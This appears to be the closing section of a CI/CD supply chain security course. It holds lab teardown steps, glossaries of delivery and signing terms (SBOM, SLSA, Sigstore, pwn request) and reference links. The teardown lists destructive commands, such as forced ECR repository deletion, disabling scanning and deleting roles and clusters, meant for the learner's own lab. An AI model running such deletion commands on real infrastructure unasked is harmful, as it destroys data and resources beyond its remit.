cicd-lab public, so no secret ever goes in it; attack lab only in a deleted-afterwards private repo.zizmor before pushing any new workflow.aws ecr delete-repository --force (both repos), aws inspector2 disable --resource-types ECR, scanning back to BASIC, delete role gha-cicd-lab and the OIDC provider, delete the budget last.cicd-lab-2, cicd-attack-lab, the GHCR package, and revoke GITOPS_PR_TOKEN.kind delete cluster --name cicd; docker image prune.Short anchors; explain each in your own words.
| Term | Short meaning |
|---|---|
| Continuous delivery | Every change is releasable; deploy is a business decision |
| Continuous deployment | Every passing change goes to production automatically |
| Build once, deploy many | One immutable artifact promoted through environments |
| Trunk-based development | Small changes merged to main often, behind flags if needed |
| DORA metrics | Five delivery metrics: throughput and instability |
| Deployment rework rate | Share of deployments that were unplanned fixes for production |
| Merge queue | Tests each PR against the latest main before merging |
| Term | Short meaning |
|---|---|
| Reusable workflow | Workflow called with workflow_call, inputs and secrets |
| Composite action | Action made of steps, run inside the caller's job |
| Environment | Deployment target with protection rules and its own secrets |
| Ruleset | Branch/tag rules: required checks, reviews, bypass list |
| OIDC token | Short-lived signed identity of a job, exchanged for cloud credentials |
sub claim | Token subject: repo plus environment, ref or pull_request |
| Ephemeral runner | Runner used for exactly one job, then destroyed |
Short anchors; explain each in your own words.
| Term | Short meaning |
|---|---|
| SBOM | Inventory of components in an artifact (SPDX, CycloneDX) |
| VEX | Statement that a product is or is not affected by a vulnerability |
| EPSS / KEV | Exploit probability score / CISA list of exploited vulnerabilities |
| Provenance | Signed record of how, where and from what an artifact was built |
| Attestation | Signed statement (in-toto) about an artifact, e.g. provenance or SBOM |
| SLSA | Framework of levels for build and source integrity |
| Pwn request | pull_request_target workflow that runs untrusted PR code with privileges |
| Term | Short meaning |
|---|---|
| Keyless signing | Signing with a short-lived certificate bound to an OIDC identity |
| Fulcio | Sigstore CA that issues those short-lived certificates |
| Rekor | Sigstore transparency log of signatures |
| Sigstore bundle | One file with signature, certificate and log proof (cosign v3 default) |
| Notation / AWS Signer | Notary Project signing; AWS-managed keys and profiles |
| ImageValidatingPolicy | Kyverno CEL policy that verifies image signatures and attestations |
| Digest | Content hash of an image; the only immutable reference |
Tools and platforms change monthly here; when a slide and the docs disagree, the docs win.
docs.github.com/actionsdocs.github.com/actions/security-for-github-actions/security-guides/security-hardening-for-github-actionssub formats) — docs.github.com/en/actions/reference/security/oidcgithub.blog/changelog/2026-04-23-immutable-subject-claims-for-github-actions-oidc-tokensgithub.blog/changelog/2025-08-15-github-actions-policy-now-supports-blocking-and-sha-pinning-actions/docs.github.com/actions/security-for-github-actions/using-artifact-attestationsslsa.dev/spec/v1.2/docs.sigstore.dev; cosign releases — github.com/sigstore/cosign/releasesdocs.aws.amazon.com/AmazonECR/latest/userguide/managed-signing.htmldocs.aws.amazon.com/inspector/latest/user/scanning-ecr.htmlkyverno.io/docs/policy-types/overview/scorecard.dev; zizmor — docs.zizmor.sh; OpenVEX — openvex.dev; DORA — dora.dev/guides/dora-metrics/cisa.gov/news-events/alerts